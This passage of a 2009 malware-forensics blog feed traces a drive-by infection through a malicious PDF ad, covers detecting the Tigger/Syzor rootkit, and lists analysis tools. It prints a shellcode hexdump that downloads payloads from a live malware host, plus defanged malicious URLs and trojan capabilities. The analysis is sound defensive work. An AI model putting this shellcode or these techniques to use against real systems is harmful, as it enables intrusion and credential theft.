/&gt;Then, seemingly out of the blue, the browser visits hxxp://hyperliteautoservices.cn/load.php?id=4. This site is recognized by &lt;a href="http://www.malwaredomainlist.com/mdl.php?search=hyperliteautoservices.cn"&gt;Malware Domain List&lt;/a&gt; and then again in early April by &lt;a href="http://www.siteadvisor.com/sites/hyperliteautoservices.cn/postid/?p=1544724"&gt;McAfee Site Advisor&lt;/a&gt; for distributing malicious SWF and PDF files. The computer went on to access hxxp://af9f440dcc.com/bt.php?mod=&amp;amp;id=6CGM6G1_-1664206270&amp;amp;up=695145957&amp;amp;mid=soboc42 about 8 seconds later, and then hxxp://hansali4.com/741l2.exe about 2 seconds after that.&lt;br /&gt;&lt;br /&gt;There is no doubt that hyperliteautoservices.cn served up malicious content, but according to the index.dat, the browser didn't visit any other sites that could have lead to hyperliteautoservices.cn. Maybe one of the downloaded files deleted specific entries from the index.dat? If so, why wouldn't it delete all of the malicious entries instead of just some? It didn't make sense.&lt;br /&gt;&lt;br /&gt;I had reached a dead end by looking in Internet Explorer's index.dat for the infection source. It wasn't the end of the investigation, however. I remembered the Firefox was also open at the time of the infection and that one of the archived files (Acr487.tmp) was detected as a malicious PDF with the Virustotal scan. Unfortunately, the history file for Firefox, as well as its temporary files folder, had been emptied by now and my friend had left with the computer. I still had the physical memory dump and a copy of the Acr487.tmp file on my USB stick.&lt;br /&gt;&lt;br /&gt;Using &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility&lt;/a&gt;, I listed the processes that were active at the time of the infection - before I started researching. It showed the Firefox process, as well as the malicious BN[numbers].tmp files, the rogue AV named sysguard.exe, the svchost.exe with PID 2480 (identified previously by GMER as having a mismatched checksum), and various other processes that were probably created by the infectious chain of events.&lt;br /&gt;&lt;br /&gt;# python volatility pslist -f st.dump&lt;br /&gt;[...]&lt;br /&gt;svchost.exe          2480   3932   3      62     Mon Apr 13 01:50:49 2009&lt;br /&gt;rundll32.exe         3588   4020   2      61     Mon Apr 13 01:50:55 2009&lt;br /&gt;BN514.tmp            3480   2104   0      -1     Mon Apr 13 01:52:04 2009&lt;br /&gt;svchost.exe          1616   2104   0      -1     Mon Apr 13 01:52:04 2009&lt;br /&gt;BN515.tmp            3928   2104   0      -1     Mon Apr 13 01:52:05 2009&lt;br /&gt;sysguard.exe         1476   3928   5      277    Mon Apr 13 01:52:39 2009&lt;br /&gt;rundll32.exe         2416   1920   1      76     Mon Apr 13 02:07:01 2009&lt;br /&gt;cmd.exe              2660   2104   1      31     Mon Apr 13 02:07:17 2009&lt;br /&gt;firefox.exe          3504   2104   14     236    Mon Apr 13 02:10:42 2009&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;Although I didn't have access to the victim computer any more, I could still verify if Firefox had something to do with the infection. I dumped the addressable memory for Firefox using Volatility's vaddump and then went hunting for the "hyperliteautoservices.cn" string. I found it in several places, always surrounded by hrefs to nymag.com and its corresponding advertisements from Google. Here is an example of what I saw:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/SeO6KJrI4JI/AAAAAAAABYI/Zwo_yzeweiw/s1600-h/screen-capture.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 287px;" src="http://2.bp.blogspot.com/_jAVGHwajDek/SeO6KJrI4JI/AAAAAAAABYI/Zwo_yzeweiw/s400/screen-capture.png" alt="" id="BLOGGER_PHOTO_ID_5324303868040372370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I visited several of the same nymag.com pages that my friend had accessed with Firefox before the infection. As suspected, the entire right column is devoted to ads from Google and other companies. I went on to investigate the Acr487.tmp (PDF) file, which the Firefox browser probably accessed due to a malicous ad displayed on nymag.com. Using a hex editor, its easy to see the embedded Javascript object.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/SeO9fpIG51I/AAAAAAAABYQ/vvVgxuvKQBE/s1600-h/screen-capture-2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 202px;" src="http://2.bp.blogspot.com/_jAVGHwajDek/SeO9fpIG51I/AAAAAAAABYQ/vvVgxuvKQBE/s320/screen-capture-2.png" alt="" id="BLOGGER_PHOTO_ID_5324307535795513170" border="0" /&gt;&lt;/a&gt;I extracted the Javascript block and unpacked it with Jsunpack (&lt;a href="http://jsunpack.jeek.org/dec/go?url=script_0.399276854192"&gt;direct link to the unpacked code here&lt;/a&gt;). Then I took the unpacked code and formatted it with &lt;a href="http://malzilla.sourceforge.net/"&gt;Malzilla&lt;/a&gt;. Now I can see that there is a simple version check at the beginning of the Javascript code. The PDF attempts to exploit unpatched Adobe readers using the &lt;a href="http://www.securityfocus.com/bid/30035"&gt;util.printf buffer overflow &lt;/a&gt;or the &lt;a href="http://carnal0wnage.blogspot.com/2009/03/pdf-exploits-now-with-heapspray.html"&gt;collectEmailInfo buffer overflow&lt;/a&gt;. Here is what I saw:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/SePB5wQ_L7I/AAAAAAAABYY/cjw8RXjg994/s1600-h/screen-capture.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 310px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/SePB5wQ_L7I/AAAAAAAABYY/cjw8RXjg994/s320/screen-capture.png" alt="" id="BLOGGER_PHOTO_ID_5324312382434914226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Using a perl script written by Blake (author of Jsunpack), I converted the unescape Javascript buffer into shellcode and hexdump-ed the output. The util.printf() exploit used URLDownloadToFileA to grab pdfupd.exe, crash.php, and load.php?id=5 from hyperliteautoservices.cn. The collectEmailInfo() exploit does the same thing, but grabs load.php?id=4 instead.&lt;br /&gt;&lt;br /&gt;00000240  74 02 eb ed c3 55 52 4c  4d 4f 4e 2e 44 4c 4c 00  |t.???URLMON.DLL.|&lt;br /&gt;00000250  55 52 4c 44 6f 77 6e 6c  6f 61 64 54 6f 46 69 6c  |URLDownloadToFil|&lt;br /&gt;00000260  65 41 00 70 64 66 75 70  64 2e 65 78 65 00 63 72  |eA.pdfupd.exe.cr|&lt;br /&gt;00000270  61 73 68 2e 70 68 70 00  68 74 74 70 3a 2f 2f 68  |ash.php.http://h|&lt;br /&gt;00000280  79 70 65 72 6c 69 74 65  61 75 74 6f 73 65 72 76  |yperliteautoserv|&lt;br /&gt;00000290  69 63 65 73 2e 63 6e 2f  6c 6f 61 64 2e 70 68 70  |ices.cn/load.php|&lt;br /&gt;000002a0  3f 69 64 3d 35 00 00 90                           |?id=5...|&lt;br /&gt;&lt;br /&gt;Now it all makes perfect sense. The URLDownloadToFileA function leaves entries in Internet Explorer's index.dat history, even if the PDF was opened with Firefox and with Firefox set as the system's default browser. This explains why I couldn't find the original source of infection in the IE history, although the IE history contained evidence of the initial Exe downloads. Mystery solved...maybe...&lt;br /&gt;&lt;br /&gt;UPDATE: A buddy pointed me to the &lt;a href="http://wepawet.cs.ucsb.edu/view.php?hash=4424a7cb2d975a940d4d8c4ee4efcdd7&amp;amp;type=js"&gt;Wepawet analysis of readme.pdf &lt;/a&gt;(which was probably the original name of Acr487.tmp). Also accessible from that page is the &lt;a href="http://anubis.iseclab.org/?action=result&amp;amp;task_id=1807335fddffd48d461d16b2d654f3808"&gt;Anubis report for the load.php?id=4&lt;/a&gt; file (the util.printf exploit) and the &lt;a href="http://anubis.iseclab.org/?action=result&amp;amp;task_id=1876d86cce45eed44f97d496880c1934e"&gt;Anubis report for the the load.php?id=5 file&lt;/a&gt; (the collectEmailInfo exploit). These files are all from a different, but similar attack that began with a malicious Google Gadget on iGoogle. I could not find any traces of the reported malicious Google Gadget (or its associated domains, files, Javascript) in my friend's memory dump, so there are multiple ways for this chain of events to unfold.&lt;br /&gt;&lt;br /&gt;Also, I collected the following additional files from the infected computer. The files were missed by Symantec but picked up by &lt;a href="http://www.malwarebytes.org/"&gt;Malwarebytes&lt;/a&gt; as shown in the log file below.&lt;br /&gt;&lt;br /&gt;Registry Keys Infected:&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt (Trojan.Downloader)&lt;br /&gt;HKEY_CURRENT_USER\SOFTWARE\AvScan (Malware.Trace)&lt;br /&gt;&lt;br /&gt;Registry Data Items Infected:&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\Notification Packages (Trojan.Vundo.H) -&gt; Data: sipiaxr.dll&lt;br /&gt;&lt;br /&gt;Files Infected:&lt;br /&gt;C:\WINDOWS\sipiaxr.dll (Trojan.Vundo.H)&lt;br /&gt;C:\WINDOWS\Temp\wpv321239024633.exe (Trojan.Agent)&lt;br /&gt;&lt;br /&gt;Scan report of: sipiaxr.dl_ MD5: 0x3cecfb63c65527cb6966d477652d13b8&lt;br /&gt;&lt;br /&gt;Avast!    Win32:Vupa [Cryp]&lt;br /&gt;McAfee (Online)    Generic!Artemis (trojan)&lt;br /&gt;Microsoft    Trojan:Win32/Hiloti.gen!A [generic]&lt;br /&gt;Sophos    Troj/Virtum-Gen&lt;br /&gt;Symantec (BETA)    Trojan Horse&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: wpv321239024633.ex_ MD5: 44a15510cdcc142543548f51e5543f75&lt;br /&gt;&lt;br /&gt;Avast!    Win32:Vupa [Cryp]&lt;br /&gt;Microsoft    Trojan:Win32/Hiloti.gen!A [generic]&lt;br /&gt;Panda (Online)    suspicious&lt;br /&gt;QuickHeal    Suspicious (warning)&lt;br /&gt;Sophos    Troj/Hiloti-D&lt;br /&gt;Symantec (BETA)    Trojan Horse&lt;br /&gt;&lt;br /&gt;Just FYI, the victim computer was running XPSP3 w/ the latest Windows and Symantec AV updates, but an unpatched Adobe reader browser plug-in.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-4252070798334987515?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/4252070798334987515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=4252070798334987515' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4252070798334987515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4252070798334987515'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/04/malware-forensics-how-ironic-can-it-get.html' title='Malware Forensics: How Ironic Can It Get?'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_jAVGHwajDek/SeOV8zzxepI/AAAAAAAABXg/hzo1gVN6LQg/s72-c/screen-capture.png' height='72' width='72'/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-5234821036925252612</id><published>2009-03-10T18:46:00.020-06:00</published><updated>2009-07-20T11:04:18.906-06:00</updated><title type='text'>Finding Tigger/Syzor Infections (and others) with Detached SystemThreads</title><content type='html'>Today I hoped to get a replacement computer from Dell, since mine was dead-on-arrival and technicians came to my home 4 days last week to try and fix it (without success). My hopes were shattered when they decided to swap parts a 5th time before considering the replacement. Dell, I hate you. Just give me a new computer and stop wasting everyone's time.&lt;br /&gt;&lt;br /&gt;After a short breather, I decided to try and develop a method of detecting &lt;a href="http://mnin.blogspot.com/2009/02/why-i-enjoyed-tiggersyzor.html"&gt;Tigger/Syzor&lt;/a&gt;. It would be nice for some readers of my blog who left comments wondering how to identify Tigger/Syzor infections without using bootable rescue CDs. Here are a few of the project requirements:&lt;br /&gt;&lt;br /&gt;1) The program must work from user-mode (no kernel drivers or admin privileges)&lt;br /&gt;2) The program must work from command-line (no GUI)&lt;br /&gt;&lt;br /&gt;After a few hours of development, I came up with a few bonus features:&lt;br /&gt;&lt;br /&gt;3) The program seems to generically detect other codes like &lt;a href="http://uninformed.org/?v=3&amp;amp;a=7&amp;amp;t=sumry"&gt;futo&lt;/a&gt; from &lt;a href="http://rootkit.com/board_project_fused.php?did=proj31"&gt;rootkit.com&lt;/a&gt;&lt;br /&gt;4) The detection method can easily be ported to Python as a Volatility module&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://mhl-malware-scripts.googlecode.com/files/detachedThreads.zip"&gt;C source code is available along with the binary&lt;/a&gt; from my &lt;a href="http://code.google.com/p/mhl-malware-scripts/downloads/list"&gt;Google code site&lt;/a&gt;. I spent some time online trying to see if anyone has documented the method that I used and could not find any. If the method sounds familiar to you after I describe it, please send me a URL or name of the tool so I can research it further.&lt;br /&gt;&lt;br /&gt;I got the idea for the technique by reading &lt;a href="http://www.amazon.com/Microsoft-Windows-Internals-4th-Server/dp/0735619174"&gt;Windows Internals 4th Edition&lt;/a&gt;. In Chapter 2 (pages 75-80), the authors describe the purpose of the "System" process. You know, the one that appears near the very top of the process tree in Process Explorer and always has PID 4 on Windows XP systems?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/SbclwyyPnoI/AAAAAAAABWw/6ePjInW5IvA/s1600-h/systemproc.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 186px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/SbclwyyPnoI/AAAAAAAABWw/6ePjInW5IvA/s320/systemproc.png" alt="" id="BLOGGER_PHOTO_ID_5311755805703249538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;According to the book, the System process contains a majority of the kernel-mode system threads. Kernel-mode system threads "&lt;span style="font-style: italic;"&gt;...have all the attributes and contexts of regular user-mode threads [...] but are different in that they run only in kernel-mode executing code loaded in system space, whether that is in Ntoskrnl.exe or in any other loaded device driver.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Additionally, system threads are created by the PsCreateSystemThread() function, which can only be called from kernel mode. The book explains that once you find a system thread that is running, you can look up in which driver the thread began execution (thread's start address) or examine the call stack of the thread in question to see where its currently executing.&lt;br /&gt;&lt;br /&gt;In order to understand why this information is useful in detecting Tigger/Syzor, we have to understand how Tigger attempts to hide. WhenTigger's kernel driver loads, it allocates some memory and copies over the code to execute. Then it uses PsCreateSystemThread() to invoke execution of the code and finally unloads the driver from memory. Therefore, when monitoring/anti-malware tools enumerate the list of loaded drivers, they don't find Tigger, yet Tigger's code remains active (as a system thread).&lt;br /&gt;&lt;br /&gt;For example, the loaded drivers listing from &lt;a href="http://www.gmer.net/index.php"&gt;GMER&lt;/a&gt; doesn't detect Tigger's kernel driver. This isn't a flaw or weakness in GMER, because Tigger's kernel driver literally isn't loaded. GMER does, however, identify 4 suspicious threads. Since GMER isn't open source, I don't know if they detect the 4 suspicious threads in the same way as I've started to describe. GMER uses a kernel driver, so its possible that it scans for ETHREAD structures and then determines which ETHREADs don't map back to a loaded kernel driver.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_jAVGHwajDek/SbdKK7luUiI/AAAAAAAABW4/9avAAclZB_4/s1600-h/gmer.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 139px;" src="http://3.bp.blogspot.com/_jAVGHwajDek/SbdKK7luUiI/AAAAAAAABW4/9avAAclZB_4/s320/gmer.png" alt="" id="BLOGGER_PHOTO_ID_5311795837161853474" border="0" /&gt;&lt;/a&gt;The "Value" field of the 4 threads represents the thread start address (F6240150, F623F54E, etc). If we were to look at GMERs loaded drivers list, those addresses would not fall into the memory range occupied by any existing driver. In comparison with GMER, we can also use Process Explorer to view the same threads, since they are system threads. Just look inside the "System" process with PID 4 and look for entries with the same addresses and no module name.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/SbdNYVrzHwI/AAAAAAAABXA/L6zry7cEqw8/s1600-h/procexp.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 203px;" src="http://2.bp.blogspot.com/_jAVGHwajDek/SbdNYVrzHwI/AAAAAAAABXA/L6zry7cEqw8/s320/procexp.png" alt="" id="BLOGGER_PHOTO_ID_5311799366039838466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;So, as usual, the challenge is to automate identification of these "detached" system threads (from user-space as described in the requirements). I first turned to the &lt;a href="http://msdn.microsoft.com/en-us/library/ms686837%28VS.85%29.aspx"&gt;Tool Help API&lt;/a&gt;, using functions such as CreateToolhelp32Snapshot with Thread32First and Thread32Next. Unfortunately, these functions don't permit access to the thread start address. Then I tried some of the semi-documented NT API functions like NtQueryInformationThread, which was also the wrong choice.&lt;br /&gt;&lt;br /&gt;Finally, I found that calling NtQuerySystemInformation with SystemProcessInformation (class 5) yields an array of SYSTEM_PROCESS_INFORMATION structures. The final member of a SYSTEM_PROCESS_INFORMATION structure contains an array of SYSTEM_THREAD_INFORMATION structures. It is this structure that contains a PVOID data type with the thread start address. See &lt;a href="http://code.google.com/p/native-nt-toolkit/"&gt;Alex Ionescu's Native NT Toolkit&lt;/a&gt; for the full structure definitions.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/SbdRgyycQhI/AAAAAAAABXI/5moLju6vC7s/s1600-h/struct.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 147px;" src="http://1.bp.blogspot.com/_jAVGHwajDek/SbdRgyycQhI/AAAAAAAABXI/5moLju6vC7s/s320/struct.png" alt="" id="BLOGGER_PHOTO_ID_5311803909337793042" border="0" /&gt;&lt;/a&gt;The program that I wrote uses the same function - NtQuerySystemInformation with the SystemModuleInformation (class 11) to acquire a list of the loaded drivers, along with the base address and image size. For each active process, if the PID matches the PID for the respective platform's  "System" process (PID 4 for XP/2003 or PID 8 for 2000), then it parses that process' threads. Any thread with a start address that doesn't map back into a loaded driver, is determined to be "detached" and identifed to the user on command-line.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/SbdT7wAgvaI/AAAAAAAABXQ/H6B-4aVvUX4/s1600-h/detachedthreads.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 306px;" src="http://1.bp.blogspot.com/_jAVGHwajDek/SbdT7wAgvaI/AAAAAAAABXQ/H6B-4aVvUX4/s320/detachedthreads.png" alt="" id="BLOGGER_PHOTO_ID_5311806571471224226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;After testing this method on a system infected with Tigger, I wrote a &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility&lt;/a&gt; plug-in to find the same anomalies in physical memory dumps. I uploaded the plug-in called &lt;a href="http://mhl-malware-scripts.googlecode.com/files/orphan_threads.py"&gt;threads_without_modules.py&lt;/a&gt; to my Google code site. In order to use it, I needed to make a few modifications to PoolScanThreadFast2 class in scan2.py of the default Volatility installation. I would recommend only making these changes if you know what you're doing and are well aware that you'll have to make the same changes to scan2.py the next time a new version of Volatility is released.&lt;br /&gt;&lt;br /&gt;Its essentially just a proof-of-concept now, hopefully the feature can get integrated into the main Volatility build so that users of the product don't need to make changes like this in the future. If you look at the code, all it really does is call the internal 'modules' command and the internal 'thrdscan2' command and then interpret the output.&lt;br /&gt;&lt;br /&gt;Anyhow, to test the proof-of-concept, find the PoolScanThreadFast2 class and make the following adjustments so that it outputs an extra field (thread start address).&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;UPDATE (7/20/2009): These changes are no longer necessary. Please download the new version of this plug-in here: &lt;/span&gt;&lt;a style="color: rgb(255, 0, 0);" href="http://mhl-malware-scripts.googlecode.com/files/orphan_threads.py"&gt;http://mhl-malware-scripts.googlecode.com/files/orphan_threads.py&lt;/a&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;= Change # 1 (&lt;span style="font-style: italic;"&gt;addition &lt;/span&gt;in __init___)&lt;br /&gt;&lt;br /&gt;self.StartAddress = 0&lt;br /&gt;&lt;br /&gt;= Change #2 (&lt;span style="font-style: italic;"&gt;addition &lt;/span&gt;in check_start_address)&lt;br /&gt;&lt;br /&gt;self.StartAddress = StartAddress&lt;br /&gt;&lt;br /&gt;= Change #3 (&lt;span style="font-style: italic;"&gt;modification &lt;/span&gt;in object_action)&lt;br /&gt;&lt;br /&gt;print "%6d %6d 0x%0.8x 0x%0.8x"%(UniqueProcess, UniqueThread, address, self.StartAddress)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/Sbdbu2eYU-I/AAAAAAAABXY/GE5XWrt7Oks/s1600-h/vola.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 88px;" src="http://1.bp.blogspot.com/_jAVGHwajDek/Sbdbu2eYU-I/AAAAAAAABXY/GE5XWrt7Oks/s320/vola.png" alt="" id="BLOGGER_PHOTO_ID_5311815145961837538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There are a few disadvantages to using the technique that I've described. The first is that if a trojan also hooks NtQuerySystemInformation in order to hide threads in the System process, then my run-time program won't work (but the Volatility program will still function as expected). Also, this is hardly a solution for detecting all attempts to hide drivers, it only works against Tigger/Syzor, futo, and others that use PsCreateSystemThread() and then unload the driver. I also have not thoroughly tested for false positives, however I can't think of any legitimate reason why a driver would spawn a thread and the unload itself.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-5234821036925252612?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/5234821036925252612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=5234821036925252612' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5234821036925252612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5234821036925252612'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/03/finding-tiggersyzor-infections-and.html' title='Finding Tigger/Syzor Infections (and others) with Detached SystemThreads'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_jAVGHwajDek/SbclwyyPnoI/AAAAAAAABWw/6ePjInW5IvA/s72-c/systemproc.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-2296870925650232615</id><published>2009-02-24T10:54:00.009-06:00</published><updated>2009-02-24T15:21:31.575-06:00</updated><title type='text'>Why I Enjoyed Tigger/Syzor</title><content type='html'>Tigger (or "Syzor" as Microsoft calls it) is one of the most functionally diverse trojans that I've seen. It was very fun to analyze code that for once doesn't use TerminateProcess to kill anti-virus software and doesn't just use SSDT hooks to hide files on disk. &lt;a href="http://voices.washingtonpost.com/securityfix/2009/02/the_t-i-double-guh-r_trojan_ic.html"&gt;Brian Krebs wrote a piece&lt;/a&gt; on this trojan earlier today with a lot of critical information. There is also some information on the &lt;a href="http://www.threatexpert.com/reports.aspx?find=syzor&amp;amp;x=0&amp;amp;y=0"&gt;Threat Expert website&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The trojan uses a privilege escalation vulnerability (MS08-066), which is almost an exact replica of the &lt;a href="http://www.milw0rm.com/exploits/6757"&gt;public exploit on Milw0rm&lt;/a&gt;. It disables Windows Defender, Windows Firewall, Outpost, Avira, Kaspersky, AVG, and CA products in unique ways such as posting malformed messages to windows owned by the daemon processes, sending special byte codes over named pipes, and using the products' own API.&lt;br /&gt;&lt;br /&gt;It installs a rootkit that runs in safe mode. The rootkit disables kernel debuggers, hooks FAT and NTFS file system drivers, and also prevents other processes from accessing the kernel driver's memory so tools like GMER and IceSword can't recover the .sys from RAM.&lt;br /&gt;&lt;br /&gt;Tigger of course also injects code into usermode processes (what trojan cannot live without this functionality nowadays??). This component takes screen shots, hooks COM for spying on browser events, and exports passwords (protected storage, network and dial-up, and at least 11 popular chat, email, and remote access applications). It also steals web cookies, steals certificates, and puts the NIC in promiscious mode to sniff FTP and POP3 passwords.&lt;br /&gt;&lt;br /&gt;That's not all. Tigger logs keystrokes with a hook-less design. Its very effective against anti-malware products, and as such I built similar functionality into a proof-of-concept trojan that students reverse engineer in our &lt;a href="http://mnin.blogspot.com/2008/10/advanced-malware-analysis-iccyber.html"&gt;malware training course&lt;/a&gt;. It includes code to perform HTML injection and Form/TAN-grabbing against IE, Netscape Navigator, and Google Chrome.&lt;br /&gt;&lt;br /&gt;Tigger doesn't detect virtualization, but it does attempt to detect emulation. It collects a massive amount of system information, provides a backdoor command shell on infected machines, downloads additional malware per c&amp;amp;c instruction, and tries to clean the system of over 20 other malware families. The method that it uses to fork commands to the system and capture the output involves the use of temporary desktop stations so that window messages output by the programs don't get posted to the same desktop station as the logged-in user.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-2296870925650232615?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/2296870925650232615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=2296870925650232615' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/2296870925650232615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/2296870925650232615'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/02/why-i-enjoyed-tiggersyzor.html' title='Why I Enjoyed Tigger/Syzor'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-2449027527117574205</id><published>2009-02-23T12:24:00.002-06:00</published><updated>2009-02-23T12:33:12.203-06:00</updated><title type='text'>Malware RCE Tools on Google Code</title><content type='html'>I just wanted to point out my &lt;a href="http://code.google.com/p/mhl-malware-scripts/"&gt;Google Code site&lt;/a&gt;, which is where I'll upload new tools in the future. Here's a brief description of the items that currently exist:&lt;br /&gt;&lt;br /&gt;vmshell_injection.zip - POC for injecting shellcode into running VMware guests from the host (2006)&lt;br /&gt;&lt;br /&gt;prgdetect.zip - Detection tool&amp;amp;source for 2006/2007 versions of Zeus (memory, disk, registry, mutex)&lt;br /&gt;&lt;br /&gt;find_bankpatch.c - Bankpatch Trojan detector utility (executable/writable .reloc sections)&lt;br /&gt;&lt;br /&gt;writeToLanman.zip - Interact (or disable) lanmanwrk-style rootkits from usermode&lt;br /&gt;&lt;br /&gt;downatool.zip - Downatool - random ip generator and domain prediction utility for downadup.b&lt;br /&gt;&lt;br /&gt;kollah_decode.zip - Kollah/Glamour ransomware decryptor (w/ source code)&lt;br /&gt;&lt;br /&gt;malfind.py - Malfind Volatility Plug-In for identification and extraction of hidden/injected code&lt;br /&gt;&lt;br /&gt;findgozi-idef.zip - Gozi/Ordergun/Ursnif Detection Tool&lt;br /&gt;&lt;br /&gt;KrakenWiresharkUdp.rar - Wireshark plug-in to decrypt Kraken C&amp;amp;C traffic&lt;br /&gt;&lt;br /&gt;listTorpigTargets.zip - C program to dump Torpig targets from kernel space&lt;br /&gt;&lt;br /&gt;Defcon16PythonScripts.zip - Python scripts for RCE of Silent Banker, Torpig, Laqma, and Kraken&lt;br /&gt;&lt;br /&gt;The remaining items is the repository are videos and PDFs from previous presentations.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-2449027527117574205?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/2449027527117574205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=2449027527117574205' title='0 Comments'/><link rel='edit' type='application/atom+xml' 